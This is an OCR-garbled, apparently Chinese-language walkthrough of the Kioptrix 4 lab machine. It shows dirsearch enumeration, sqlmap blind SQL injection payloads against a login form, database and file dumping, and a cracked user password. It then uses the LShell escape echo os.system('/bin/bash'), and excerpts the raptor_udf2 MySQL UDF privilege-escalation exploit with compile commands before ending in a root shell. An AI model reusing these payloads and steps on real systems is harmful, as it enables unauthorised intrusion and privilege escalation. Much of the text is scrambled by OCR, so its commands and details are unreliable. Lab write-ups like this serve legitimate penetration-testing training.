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LigGeoat secure Login Copyright (c) 2013

st dirsearch ./dirsearch.py --random-agents -u 'http://172.21.137.114' -e * HH3, KIH N4

N /database.sql FISCHE, WISEAR VT A, FRECEH P 4 R # RS

CREATE TABLE members (

"id" int(4) NOT NULL auto_increment,
“username varchar(65) NOT NULL default ',
"password varchar(65) NOT NULL default ',
PRIMARY KEY (" id)

) TYPE=MyISAM AUTO INCREMENT=2 ;

— Dumping data for table members

INSERT INTO “members VALUES (I,
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POST fcheckloginphp HTTP/1.1

Host: 172.21.137.114

User-Agent: Mozilla/S.0 (Vindows NT 10.0; Winbd; x64; rnvi71.0)
Gecko/20100101 Firefox/71.0

Accept:

text/html application/xhtml+x<ml,application/=mlg=0.9,%/*q=0.8
Accept-Language:

zh-CN,zh;q=0.8,zh-T\W;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/=-www-form-urlencoded
Content-Length: 58

Origin: httpy//172.21.137 114

Connection: close

Referer: httpy//172.21.137.114/index.php

Cookie: PHPSESSID=ecddd abb79ae292:05d475bf02327d05

Upgrade-Insecure-Requests: 1 /

myusername =john&mypassword=123"8&Submit=Login

r

HTTP/1.1 200 OK

Date: Fri, 10 Jan 2020 08:48:50 GMT

Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with
Suhosin-Patch

X-Powered-By: PHP/5.24-2ubuntus.6

Content-Length: 264

Connection: close

Content-Type: text/html

<hr /=

<b>Warning</b>: mysql_num_rows(): supplied argument is
not a valid MySQL result resource in
<b=>fvarfwww/checklogin.php</b> on line <b>2B</b><br />
Wrong Username or Password<form method="link"
action="index.php"><input type=submit value="Try
Again"></form=>
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[1] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent 1s 1llegal. It 1s the end
user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are
not responsible for any misuse or damage caused by this program

[*] starting @ 02:02:36 /2020-01-14/

[ 11 ] parsing HTTP reguest from 'al
[ 10 ] fetched random HTTP User-Agent header value 'Opera/9.80 (X11; Linux x86 64; U; en) Presto/2.2.15
Version/10.80" from file 'susr/share/sqlmap/txt/user-agents.txt
custom injection marker ('*') found in option '--data'. Do you want to process it? [Y/n/ql ¥
11 1 resuming back-end DBMS 'mysgl
11 ] testing connection to the target URL
11 ] heuristics detected web page charset 'ascii
sqlmap resumed the following injection point(s) from stored session:
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: myusername=]ohn&mypassword=123"' AND 7963=(SELECT (CASE WHEN (7963=7963) THEN 7963 ELSE (SELECT 7743 UN
SELECT 9203) END))-- HtGi&Submit=Login

AND/OR time-based blind
MySQL == 5.0.12 OR time-based blind
myusername=]ohn&mypassword=123' OR SLEEP(5)-- HZWk&Submit=Login

1 [INFO] the back-end DBMS is MySQL
server operating system: Linux Ubuntu 8.04 (Hardy Heron)
application technology: PHP 5.2.4, Apache 2.2.8
back-end DBMS: MySQL == 5.8.12
11 ] fetched data logged to text files under '/root/.sqlmap/output/172.21.tdtpsidblog.csdn.net/roukmany

(ZEHEE, HIf4 sqlmap -r al --random-agent --level 3 --batch --dbs KINLHAFLEfLFEmembersHl 5 4
Hds e

1 [InFo] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP 5.2.4, Apache 2.2.8
ick-end DBMS: MySQL = .0.12
[ - ] database names
[ : ] number of databases
[ 13
[ 1 resumed: information_schema
[ 1 resumed: members
[ 1 resumed: mysqgl
wwallable databases [3]:
1 information_schema
*] members
1 mysqgl
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SR G Himembers B s FE T I BdE R, W4 sqlmap -r al --random-agent --level 3 --batch -D members --tables ,
B A] R B A — 4 ~-members £ A77E

[ 1 [INFO] the back-end DBMS is MySQL

web server operating system: Linux Ubuntu 8.04 |

web application technology: PHP 5.2.4, Apache 2.

back-end DBMS: MysSQL == 5.08.12

[ [ 1 fetching tables for database: 'members

[ [ 1 fetching number of tables for database 'members
[ [ 1 resumed: 1

[ [ 1 resumed: members

Database: members
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Member's Control Panel
Username : john

Password : MyNamelsJohn

Logout
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--level 3 --batch --file-read=/bin/kshell

] [InFO] the back-end DBMS is My

SF

A ]
do you want confirmation that the remote file '/bin/kshell' has been suc
file system? [Y/n] Y

fully downloaded from the back-end DBMS
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LShell 0.9.15 - Remote Code Execution

Become a Certified Penetration Tester

EDB-ID: CVE: Author: Type: Platform: Date:
DRONE REMOTE LINUX Enroll in Penetration Testing with Kali Linux , the course
required to become an Offensive Security Certified
Professional (OSCP)
EDB Verified: Exploit: ¥ / {} Vulnerable App: ( GET CERTIFIED )

e ©

import paramiko
import traceback
from time import sleep

if len(sys.argy) < 4
print "%s: [USER] [PW] [IP] {opt: port}'%(sys.argv[0@
sys.exit(1

TETHKIG, AT python 1.py john MyNameIsJohn 172.21.137.114 22 GZEXPHANEATCIE R W, whE AL S i
RAG T systd i i, E19% 5 Asystidh, BEFENFEARMIT 0 import sys) »  HtsIh FIEXP k& AT Feft iy & 7

1 172.21.137.114 22

EXPHATH I )G, MOBBIWA @S, —EHZE, ZRABER, W ST IR, LT S pythonff sys ik 41 (1)
FEHRPAT RG4S, 4 N: echo os.system('/bin/bash') , BITFJS ki ik, HAZH RIT
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Possible Exploits:
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X BAHA— Tmysql #2807, K4#iA: mysql linux UDF privilege escalation

mysql linux UDF privilege escalation
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MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF ...

https: iwww.exploit-db_com > exploits ~ EliZEtLT

200628208 - MySQL 4.%/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library ... for
local privilege escalation through * MySQL run with root privileges ...

MySQL User-Defined (Linux) x32 / x86_64 sys_exec Privilege ...
https:ipacketstormsecurity. com » files » MySQL-User-Defined-L. .. ~ EiZEtLA
2019=1H29H - MySQL User-Defined (Linux) x32 / x86_64 sys_exec function local privilege
escalation exploit *** UDF lib shellcodes retrieved from metasploit

Pentest - mysql udf privilege escalation - ¥2FE

www.voidcn.com » article » p-alrpripb-bd ~ ZJiZittm

20165108318 - Pentest - mysgl udf privilege escalation ... How to compile UDF DLL ..
linux/x86/shell_reverse_tcp payload == linux/x86/shell_reverse_tcp msf ..

Gaining a Root shell using MySQL User Defined Functions ...
https://infamoussyn.wordpress.com » 2014/07/11 » gaining-a-roo... ~ EiFTa
2014=7E11H - Cent OS x86 5.4 Final — http:/fvault.centos org/5 4/is0s/i386/; MySQL 5.0.95 —
yum install ... Underlining Concept of the Privilege Escalation. A User Defined Function (UDF) is
a function created by the user to extend the normal ...

BN, B HMysqltUDF (User Defined Function) #EALHIEXP

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2)

Become a Certified Penetration Tester

EDB-ID: CVE: Author: Type: Platform: Date:
1518 N/A MARCO IVALDI LOCAL LINUX 2006-02-20 Enroll in Penetration Testing with Kali Linux, the course
required to become an Offensive Security Certified
Professional (OSCP)
EDB Verified: .~ Exploit: # / {} Vulnerable App: ( GET CERTIFIED )

() ©

* $1d: raptor udf2.c,v 1.1 2006/61/18 17:58:54 raptor Exp §

* paptor_udf2.c - dynamic library for do_system() MySQL UDF
* Copyright (c) 2086 Marco Ivaldi <raptor@@xdeadbeef.info>

* This is an helper dynamic library for local privilege escalation through
* MySQL run with root privileges (very bad idea!), slightly modified to work
* with newer versions of the open-source database. Tested on MySQL 4.1.14.

* See also: http://uww.@xdeadbeef.info/exploits/raptor_udf.c

* Starting from MySQL 4.1.16a and MySQL 4.8.24, newer releases include fixes
* for the security vulnerabilities in the handling of User Defined Functions

* (UDFs) reported by Stefano Di Paola <stefano.dipaolagwisec.it>. For further

* details, please refer to:

BB AT L ROZEXP AR, SerfEKalig B4 SOk, 285 HpythondT a3 I, SENUISIAHE SO R R, BITEXP
B AP BRAAT, R EAR L, RO B tmp R N AERAE (G TARNBEHUER 1 a8, SR8 EA 1,
PREVEAE T, B R R R - H Al WriteUp 7592, F A2 [RIRE BRI, S8 bR BE 7 )

* Usage:

* $ id

* yuid=50@(raptor) gid=50@(raptor) groups=5@@(raptor)

* $ gcc -g -c raptor udf2.c

* % gcc -g -shared -W1,-soname,raptor udf2.so -o raptor _udf2.so raptor _udf2.o -lc
[~ % mysql -u root p ]
* Enter password:
LA
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elcome to LigGoat Security Server
Kioptrix4 login: root

Password:

Login timed out after 60 seconds.

elcome to LigGoat Security Server

Kioptrix4 login:

elcome to LigGoat Security Server

Kioptrix4 login: root

Fassword:

elcome to LigGoat Security Systems - We are Watching
1 failure since last login.

Last was Sat 04 Feb 2012 09:07:27 PHM EST on ttyl.
root@Rioptrixd:™# ipconfig

Link encap:Ethernet HUWaddr 00:0c:Z29:f8:41:e4

inet addr:172.21.137.114 Beast:172.21.137.255 HMask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 HMetric:1

RX packets:93201 errors:0 dropped:0 overruns:0 frame:0

TX packets:39758 errors:0 dropped:0 overruns:Q carrier:0
collisions:0 txqueuelen:1000

R¥ bytes:6086485 (5.8 HMB) TX bytes:Z166919 (2.0 MB)

Base address:0xZ000 Memory:fdScO000—f 450000

Link encap:Local Loopback

inet addr:127.0.0.1 HMask:255.0.0.0

UP LOODPBACK RUNNING HMTU:16436 HMetric:1

RX packet=:4 errors:0 dropped:® overruns:0 frame:0
T¥ packets:4 errors:0 dropped:0 overruns:0 carrier:Q
collisions:0 txgqueuelen:O

RX bytes:200 (Z200.0 B) TX bytes:Z00 (200.0 B)

http yg.csdn.net/roukmanx

root@Rioptrixd: ™4

PS: ix H i B L F R4 ] LA echo os.system('/bin/bash’)sic ik i BR #1] it Lshell, A~ A% 3l 2 i T i% Lshell& B
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